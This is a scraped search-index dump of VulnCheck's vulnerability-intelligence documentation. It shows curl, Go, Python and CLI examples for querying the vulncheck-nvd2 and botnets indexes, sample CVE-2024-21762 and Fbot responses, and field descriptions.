vulncheck-nvd2 index via the `/v3/backup/vulncheck-nvd2 API as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/vulncheck-nvd2 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \vulncheck-nvd2\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\vulncheck-nvd2\)\n\n    print(api_response.data0.url)\nvulncheck backup download vulncheck-nvd2,{id:701,title:702,titles:703,content:704,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#access-individual-vulncheck-nvd2-cve-records,Access Individual vulncheck-nvd2 CVE Records,56,The VulnCheck API makes it easy to get started with VulnCheck Exploit & Vulnerability Intelligence. To start, simply query the vulncheck-nvd2 index via the /v3/index/:index?cve:cve API as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/index/vulncheck-nvd2?cveCVE-2024-21762 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.IndicesAPI.IndexVulncheckNvd2Get(auth).Cve(\CVE-2024-21762\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    indices_client  vulncheck_sdk.IndicesApi(api_client)\n\n    api_response  indices_client.index_vulncheck_nvd2_get(cve\CVE-2024-21762\)\n\n    print(api_response.data)\nvulncheck index browse vulncheck-nvd2 --cve CVE-2024-21762 The above example searches the vulncheck-nvd2 index for information on CVE-2024-21762.,{id:706,title:707,titles:708,content:709,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#example-api-response-for-vulncheck-nvd2-by-cve,Example API Response for vulncheck-nvd2 by CVE,56,702,After calling the /v3/index/vulncheck-nvd2?cve:cve API endpoint with a valid CVE identifier, a response similar to the below will be returned: {\n  \_benchmark\: 0.095634,\n  \_meta\: {\n    \index\: \vulncheck-nvd2\,\n    // ...\n  },\n  \data\: \n    {\n      \id\: \CVE-2024-21762\,\n      \sourceIdentifier\: \psirt@fortinet.com\,\n      \vulnStatus\: \Analyzed\,\n      \published\: \2024-02-09T09:15:08.087Z\,\n      \lastModified\: \2024-02-13T18:21:14.607Z\,\n      \cisaExploitAdd\: \2024-02-09T00:00:00Z\,\n      \vulncheckKEVExploitAdd\: \2024-02-08T00:00:00Z\,\n      \cisaActionDue\: \2024-02-16T00:00:00Z\,\n      \cisaRequiredAction\: \Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.\,\n      \cisaVulnerabilityName\: \Fortinet FortiOS Out-of-Bound Write Vulnerability\,\n      \descriptions\: \n        {\n          \lang\: \en\,\n          \value\: \A out-of-bounds write in Fortinet FortiOS versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.6, 7.0.0 through 7.0.13, 6.4.0 through 6.4.14, 6.2.0 through 6.2.15, 6.0.0 through 6.0.17, FortiProxy versions 7.4.0 through 7.4.2, 7.2.0 through 7.2.8, 7.0.0 through 7.0.14, 2.0.0 through 2.0.13, 1.2.0 through 1.2.13, 1.1.0 through 1.1.6, 1.0.0 through 1.0.7 allows attacker to execute unauthorized code or commands via specifically crafted requests\\n        },\n        {\n          \lang\: \es\,\n          \value\: \Una escritura fuera de los límites en Fortinet FortiOS versiones 7.4.0 a 7.4.2, 7.2.0 a 7.2.6, 7.0.0 a 7.0.13, 6.4.0 a 6.4.14, 6.2.0 a 6.2.15 , 6.0.0 a 6.0.17, y versiones de FortiProxy 7.4.0 a 7.4.2, 7.2.0 a 7.2.8, 7.0.0 a 7.0.14, 2.0.0 a 2.0.13, 1.2.0 a 1.2.13 , 1.1.0 a 1.1.6, 1.0.0 a 1.0.7. Permite al atacante ejecutar código o comandos no autorizados a través de solicitudes específicamente manipuladas\\n        }\n      ,\n      \references\: \n        {\n          \status\: \active\,\n          \lang\: \ru\,\n          \name\: \Уязвимость службы sslvpnd операционных систем FortiOS, позволяющая нарушителю выполнить произвольный код или произвольные команды\,\n          \url\: \https://bdu.fstec.ru/vul/2024-01125\,\n          \refsource\: \BDU\,\n          \tags\: \n            \Vendor Advisory\\n          ,\n          \date_added\: \2024-02-08T00:00:00Z\\n        },\n        {\n          \status\: \active\,\n          \lang\: \en\,\n          \name\: \Warning: Two Critical Vulnerabilities Affect Multiple Fortinet Products\,\n          \url\: \https://cert.be/en/advisory/warning-two-critical-vulnerabilities-affect-multiple-fortinet-products\,\n          \refsource\: \CERT-BE\,\n          \tags\: \n            \Vendor Advisory\\n          ,\n          \date_added\: \2024-02-12T00:00:00Z\\n        },\n        {\n          \status\: \active\,\n          \lang\: \en\,\n          \name\: \Multiple Vulnerabilities in Siemens Products\,\n          \url\: \https://www.cert-in.org.in/s2cMainServlet?pageidPUBVLNOTES02&VLCODECIAD-2024-0019\,\n          \refsource\: \CERT-IN\,\n          \tags\: \n            \Vendor Advisory\\n          ,\n          \date_added\: \2024-03-21T00:00:00Z\\n        }\n        // ...\n      ,\n      \metrics\: {\n        \cvssMetricV31\: \n          {\n            \source\: \nvd@nist.gov\,\n            \type\: \Primary\,\n            \cvssData\: {\n              \version\: \3.1\,\n              \vectorString\: \CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\,\n              \attackVector\: \NETWORK\,\n              \attackComplexity\: \LOW\,\n              \privilegesRequired\: \NONE\,\n              \userInteraction\: \NONE\,\n              \scope\: \UNCHANGED\,\n              \confidentialityImpact\: \HIGH\,\n              \integrityImpact\: \HIGH\,\n              \availabilityImpact\: \HIGH\,\n              \baseScore\: 9.8,\n              \baseSeverity\: \CRITICAL\\n            },\n            \exploitabilityScore\: 3.9,\n            \impactScore\: 5.9\n          },\n          {\n            \source\: \psirt@fortinet.com\,\n            \type\: \Secondary\,\n            \cvssData\: {\n              \version\: \3.1\,\n              \vectorString\: \CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\,\n              \attackVector\: \NETWORK\,\n              \attackComplexity\: \LOW\,\n              \privilegesRequired\: \NONE\,\n              \userInteraction\: \NONE\,\n              \scope\: \UNCHANGED\,\n              \confidentialityImpact\: \HIGH\,\n              \integrityImpact\: \HIGH\,\n              \availabilityImpact\: \HIGH\,\n              \baseScore\: 9.8,\n              \baseSeverity\: \CRITICAL\\n            },\n            \exploitabilityScore\: 3.9,\n            \impactScore\: 5.9\n          }\n        ,\n        \temporalCVSSV31\: {\n          \version\: \3.1\,\n          \vectorString\: \E:H/RL:X/RC:C\,\n          \exploitCodeMaturity\: \HIGH\,\n          \remediationLevel\: \NOT_DEFINED\,\n          \reportConfidence\: \CONFIRMED\,\n          \temporalScore\: 9.8,\n          \associatedBaseMetricV3\: {\n            \source\: \nvd@nist.gov\,\n            \type\: \Primary\,\n            \baseScore\: 9.8\n          }\n        },\n        \temporalCVSSV31Secondary\: \n          {\n            \version\: \3.1\,\n            \vectorString\: \E:H/RL:X/RC:C\,\n            \exploitCodeMaturity\: \HIGH\,\n            \remediationLevel\: \NOT_DEFINED\,\n            \reportConfidence\: \CONFIRMED\,\n            \temporalScore\: 9.8,\n            \associatedBaseMetricV3\: {\n              \source\: \psirt@fortinet.com\,\n              \type\: \Secondary\,\n              \baseScore\: 9.8\n            }\n          }\n        ,\n        \epss\: {\n          \epss_score\: 0.01842,\n          \epss_percentile\: 0.88426,\n          \last_modified\: \2024-06-28T10:05:46.084968Z\\n        }\n      },\n      \weaknesses\: \n        {\n          \source\: \psirt@fortinet.com\,\n          \type\: \Primary\,\n          \description\: \n            {\n              \lang\: \en\,\n              \value\: \CWE-787\,\n              \name\: \Out-of-bounds Write\,\n              \url\: \https://cwe.mitre.org/data/definitions/787.html\\n            }\n          \n        }\n      ,\n      \configurations\: \n        {\n          \nodes\: \n            {\n              \operator\: \OR\,\n              \cpeMatch\: \n                {\n                  \vulnerable\: true,\n                  \criteria\: \cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*\,\n                  \versionStartIncluding\: \1.0.0\,\n                  \versionEndExcluding\: \2.0.14\,\n                  \matchCriteriaId\: \614BFD88-3C7A-4F6F-BD26-F53E4BC464D7\\n                },\n                {\n                  \vulnerable\: true,\n                  \criteria\: \cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*\,\n                  \versionStartIncluding\: \7.0.0\,\n                  \versionEndExcluding\: \7.0.15\,\n                  \matchCriteriaId\: \72ED8947-DBF3-483B-B267-117403A3D8E3\\n                }\n                // ...\n              \n            }\n          \n        }\n      ,\n      \vcConfigurations\: \n        {\n          \nodes\: \n            {\n              \operator\: \OR\,\n              \cpeMatch\: \n                {\n                  \vulnerable\: true,\n                  \criteria\: \cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*\,\n                  \versionStartIncluding\: \1.0.0\,\n                  \versionEndIncluding\: \1.0.7\,\n                  \matchCriteriaId\: \\\n                },\n                {\n                  \vulnerable\: true,\n                  \criteria\: \cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*\,\n                  \versionStartIncluding\: \7.4.0\,\n                  \versionEndIncluding\: \7.4.2\,\n                  \matchCriteriaId\: \\\n                }\n                // ...\n              \n            }\n          \n        },\n        {\n          \nodes\: \n            {\n              \operator\: \OR\,\n              \cpeMatch\: \n                {\n                  \vulnerable\: true,\n                  \criteria\: \cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*\,\n                  \versionStartIncluding\: \6.0.0\,\n                  \versionEndIncluding\: \6.0.17\,\n                  \matchCriteriaId\: \\\n                },\n                {\n                  \vulnerable\: true,\n                  \criteria\: \cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*\,\n                  \versionStartIncluding\: \7.4.0\,\n                  \versionEndIncluding\: \7.4.2\,\n                  \matchCriteriaId\: \\\n                }\n                // ...\n              \n            }\n          \n        }\n      ,\n      \vulnerableCPEs\: \n        \cpe:2.3:a:fortinet:fortiproxy:1.0.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:fortinet:fortiproxy:1.0.1:*:*:*:*:*:*:*\\n        // ...\n      ,\n      \vcVulnerableCPEs\: \n        \cpe:2.3:a:fortinet:fortiproxy:1.0.0:*:*:*:*:*:*:*\,\n        \cpe:2.3:a:fortinet:fortiproxy:1.0.1:*:*:*:*:*:*:*\\n        // ...\n      ,\n      \STATUS\: \Analyzed\,\n      \categorization\: {\n        \tags\: \n          \ICS/OT\,\n          \IoT\\n        \n      },\n      \relatedAttackPatterns\: \n        {\n          \lang\: \en\,\n          \capec_id\: \CAPEC-100\,\n          \capec_name\: \Overflow Buffers\,\n          \capec_url\: \https://capec.mitre.org/data/definitions/100.html\\n        }\n      ,\n      \mitreAttackTechniques\: \n        {\n          \id\: \T0819\,\n          \url\: \https://attack.mitre.org/techniques/T0819\,\n          \name\: \Exploit Public-Facing Application\,\n          \domain\: \ICS\,\n          \tactics\: \n            \initial-access\\n          ,\n          \subtechnique\: false\n        },\n        {\n          \id\: \T0866\,\n          \url\: \https://attack.mitre.org/techniques/T0866\,\n          \name\: \Exploitation of Remote Services\,\n          \domain\: \ICS\,\n          \tactics\: \n            \initial-access\,\n            \lateral-movement\\n          ,\n          \subtechnique\: false\n        }\n      ,\n      \date_added\: \2024-02-08T00:00:00Z\,\n      \documentGenerationDate\: \2024-06-28T12:06:40.053130613Z\\n    }\n  \n} The above example response shows what the vulncheck-nvd2 index returns for CVE-2024-21762.,{id:711,title:712,titles:713,content:714,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#vulncheck-nvd2-attribute-details,Vulncheck-NVD2 Attribute Details,56,AttributeMeaningidCVE IdentifiersourceIdentifierCVE Numbering Authority - When the CVE has not yet been published on CVE.org, this field will be blankvulnStatusNVD vulnerability status - When the CVE has not yet been published on CVE.org, this field is set to awaiting analysispublishedThe NVD publish date - When the CVE has not yet been published on CVE.org, this field is set to \1970-01-01T00:00:00Z\lastModifiedThe NVD last modified date - When the CVE has not yet been published on CVE.org, this field is set to \1970-01-01T00:00:00Z\cisaExploitAddThe Date Added to CISA KEVvulncheckKEVExploitAddThe Date Added to VulnCheck KEVcisaActionDueCISA KEVs Due DatecisaRequiredActionCISA KEVs Required ActioncisaVulnerabilityNameCISA KEVs Vulnerability NamedescriptionsThe Vulnerabilities Descriptiondate_addedThe date of the first published reference or published to NVD, which ever happens first.,{id:716,title:717,titles:718,content:719,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#vulncheck-nvd2-reference-tags,Vulncheck-NVD2 Reference Tags,56,AttributeMeaningstatusThe state of data being produced by the source which include active, expired and moved.langThe language that the source is written in. ex:\en\nameThe name or title of referenceurlThe reference URLrefsourceThe source of the referencetagsIn addition to NVD tags, VulnCheck tags each reference source provided which include Government Advisory, VDB Entry, Exploit, Third Party Advisory, Operating Systems, IoMT, ICS/OT, Managed File Transfer, Vendor Advisory, and Signature.date_addedThe date provided by the reference.,{id:721,title:722,titles:723,content:724,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#metrics,Metrics,56,,{id:726,title:727,titles:728,content:729,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#cvss-metrics,CVSS Metrics,56,722,Vulncheck enriches CVEs with VulnCheckIntelligence to generate CVSS temporal metrics. AttributeMeaningcvssMetricVxxCVSS Base Metrics can include V2, V3/V3.1, and V4temporalCVSSVccCVSS Temporal Metrics can include V2, V3/3.2, and V4,{id:731,title:668,titles:732,content:670,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#epss,56,722,{id:734,title:735,titles:736,content:737,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#ssvc-metrics,SSVC Metrics,56,722,Vulncheck enriches CVEs with CISA Vulnrichment SSVC metrics and generates VulnCheck SSVC metrics using VulnCheck Intelligence. Details on VulnCheck SSVC generation are available here: https://vulncheck.com/blog/automating-ssvc AttributeMeaningsourceSource that generated the SSVC decisionexploitationDefines exploitation of the vulnerability as None, Public POC or ActiveautomatableDefines if a vulnerability is automatable using Yes or NotechnicalImpactDefines the Technical Impact of a vulnerability as Partial or Total,{id:739,title:740,titles:741,content:742,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#cpe-common-platform-enumeration,CPE (Common Platform Enumeration),56,VulnCheck-NVD2 includes NIST NVD generated CPE and VulnCheck generated CPE. Learn more about VulnCheck CPE generation here: https://docs.vulncheck.com/products/exploit-and-vulnerability-intelligence/cpe AttributeMeaningconfigurationsNIST NVD CPEvcConfigurationsVulnCheck CPE,{id:744,title:745,titles:746,content:747,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#mitre-mappings,Mitre Mappings,56,VulnCheck generates Mitre mappings for CWE, CAPEC and Att&ck AttributeMeaningweaknessesCommon Weakness EnumerationrelatedAttackPatternsCAPEC (Common Attack Pattern Enumeration Classification) including language, CAPEC id, CAPEC, name, and URLmitreAttackTechniquesMitre Attack Techniques including id, url, name, domain, tactics and subtechnique, mitigations, detections, and d3fend techniques .,{id:749,title:750,titles:751,content:752,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-intelligence#vulncheck-categorizations,VulnCheck Categorizations,56,VulnCheck categorizations include Desktop Application, Firmware, ICS/OT, IoMT, IoT, Managed File Transfer, Mobile, Open Source Library, Operating System, Server Software, Virtualization, Web Browser, and Web Framework. html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic}html pre.shiki code .sHwdD, html code.shiki .sHwdD{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#546E7A;--shiki-default-font-style:italic;--shiki-dark:#676E95;--shiki-dark-font-style:italic}html pre.shiki code .su27w, html code.shiki .su27w{--shiki-light:#916B53;--shiki-default:#916B53;--shiki-dark:#916B53},{id:62,title:61,titles:754,content:755,level:528},,VulnCheck generates unique vulnerability enrichment that is then incorporated into VulnChecks Exploit and Vulnerability Intelligence services. VulnCheck Vulnerability Intelligence service provides vulnerability generation and enrichment services that are then incorporated into VulnChecks Exploit exploits and Vulnerability Intelligence vulncheck-nvd and vulncheck-nvd2 services. Vulnerability Enrichment and Generation Services Include: Botnet AttributionCAPECCPE (Common Platform Enumeration)CWE (Common Weakness Enumeration)CVSS-BT (Common Vulnerability Scoring System Base / Temporal Scoring)CVSS V4 (Common Vulnerability Scoring System)SSVC (Stakeholder-Specefic Vulnerability Categorization)Exploit ChainsKnown Exploited VulnerabilitiesMitre ATT&CK Technique MappingsMitre ATT&CK Technique / NIST Controls / CIS Controls to Threat Actor, Botnet and Ransomare MappingsRansomware AttributionReferencesThreat Actor AttributionVulnerability CategorizationsVulnerability Status,{id:757,title:758,titles:759,content:760,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#botnet-attribution,Botnet Attribution,61,The VulnCheck Botnets index contains data related to various botnets. The index contains listings of botnets and citations for the CVE they have been known to use.,{id:762,title:763,titles:764,content:765,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#download-the-botnets-index,Download the Botnets index,61,758,The VulnCheck API makes it easy to download VulnCheck Vulnerability Intelligence. To start, simply query the botnets backup via the /v3/backup/botnets API as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/botnets \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \botnets\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\botnets\)\n\n    print(api_response.data0.url)\nvulncheck backup download botnets,{id:767,title:768,titles:769,content:770,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#access-individual-botnet-records,Access Individual Botnet Records,61,758,The VulnCheck API makes it easy to get started with VulnCheck Exploit & Vulnerability Intelligence. To start, simply query the botnets index via the /v3/index/botnets?botnet:botnet API as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/index/botnets?botnetFbot \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.IndicesAPI.IndexBotnetsGet(auth).Botnet(\Fbot\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    indices_client  vulncheck_sdk.IndicesApi(api_client)\n\n    api_response  indices_client.index_botnets_get(botnetName\Fbot\)\n\n    print(api_response.data)\nvulncheck index browse botnets --botnet Fbot The above example searches the botnets index for information on Fbot.,{id:772,title:773,titles:774,content:775,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#example-api-response-for-individual-botnet-records,Example API Response for Individual Botnet Records,61,758,After calling the /v3/index/botnets?botnetFbot API endpoint with a valid botnet name (such as Fbot), data similar to the below will be returned: \data\: \n    {\n      \botnet_name\: \Fbot\,\n      \date_added\: \2019-02-20T00:00:00Z\,\n      \malpedia_url\: \https://malpedia.caad.fkie.fraunhofer.de/details/elf.fbot\,\n      \cve_references\: \n        {\n          \url\: \https://www.trendmicro.com/vinfo/fr/security/news/internet-of-things/mirai-updates-new-variant-mukashi-targets-nas-devices-new-vulnerability-exploited-in-gpon-routers-upx-packed-fbot\,\n          \date_added\: \2020-03-25\,\n          \cve\: \n            \CVE-2016-20016\,\n            \CVE-2017-17215\\n          \n        },\n        {\n          \url\: \https://blog.netlab.360.com/fbot-is-now-riding-the-traffic-and-transportation-smart-devices-en/\,\n          \date_added\: \2021-03-03\,\n          \cve\: \n            \CVE-2020-9020\\n          \n        },\n        {\n          \url\: \https://blog.netlab.360.com/the-new-developments-of-the-fbot-en/\,\n          \date_added\: \2019-02-20\,\n          \cve\: \n            \CVE-2022-45045\\n          \n        },\n        {\n          \url\: \https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild\,\n          \date_added\: \2021-08-27\,\n          \cve\: \n            \CVE-2021-35394\\n          \n        }\n      ,\n      \cve\: \n        \CVE-2016-20016\,\n        \CVE-2017-17215\,\n        \CVE-2020-9020\,\n        \CVE-2022-45045\,\n        \CVE-2021-35394\\n      ,\n      \_timestamp\: \2024-01-29T21:21:48.319162Z\\n    }\n  \n} The above example response shows what the botnets index returns for Fbot.,{id:777,title:778,titles:779,content:780,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#capec-common-attack-pattern-enumeration-and-classification,CAPEC (Common Attack Pattern Enumeration and Classification),61,VulnCheck generates CAPEC Attack Patterns which can be accessed on the cve record in vulncheck-nvd and vulncheck-nvd2.,{id:782,title:783,titles:784,content:785,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#example-capec-attack-pattern,Example CAPEC Attack Pattern,61,778,\relatedAttackPatterns\: \n        {\n          \lang\: \en\,\n          \capec_id\: \CAPEC-100\,\n          \capec_name\: \Overflow Buffers\,\n          \capec_url\: \https://capec.mitre.org/data/definitions/100.html\\n        }\n       The above example shows CAPEC data that the vulncheck-nvd2 index returns for CVE-2024-21762.,{id:787,title:740,titles:788,content:789,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#cpe-common-platform-enumeration,61,VulnCheck generates CPE for CVEs which can be accessed on the cve record in nist-nvd, nist-nvd2, vulncheck-nvd, and vulncheck-nvd2. For more details on using VulnCheck generated CPE, see CPE Generation.,{id:791,title:792,titles:793,content:794,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#cwe-common-weakness-enumeration,CWE (Common Weakness Enumeration),61,VulnCheck generates and collects CWE from multiple sources for CVEs which can be accessed on the cve record in vulncheck-nvdand  vulncheck-nvd2.,{id:796,title:797,titles:798,content:799,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#cvss-bt-common-vulnerability-scoring-system-base-temporal-scoring,CVSS-BT (Common Vulnerability Scoring System Base / Temporal Scoring),61,VulnCheck generates CVSS Threat and Temporal scores for CVSS V2, V3, V3.1 and V4 using VulnChecks Exploit Intelligence for CVEs which can be accessed on the cve record in vulncheck-nvd and vulncheck-nvd2.,{id:801,title:802,titles:803,content:804,level:542},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#example-cvss-temporal-score,Example CVSS Temporal Score,61,797,\temporalCVSSV31\: {\n          \version\: \3.1\,\n          \vectorString\: \E:H/RL:X/RC:C\,\n          \exploitCodeMaturity\: \HIGH\,\n          \remediationLevel\: \NOT_DEFINED\,\n          \reportConfidence\: \CONFIRMED\,\n          \temporalScore\: 9.8,\n          \associatedBaseMetricV3\: {\n            \source\: \nvd@nist.gov\,\n            \type\: \Primary\,\n            \baseScore\: 9.8 The above example shows CVSS Temporal data that the vulncheck-nvd2 index returns for CVE-2024-21762.,{id:806,title:807,titles:808,content:809,level:174},/products/exploit-and-vulnerability-intelligence/vulnerability-enrichment#cvss-v4-common-vulnerability-scoring-system,CVSS V4 (Common Vulnerability Scoring System),61,VulnCheck collects CVSS V4 scores from multiple sources for CVEs which can be 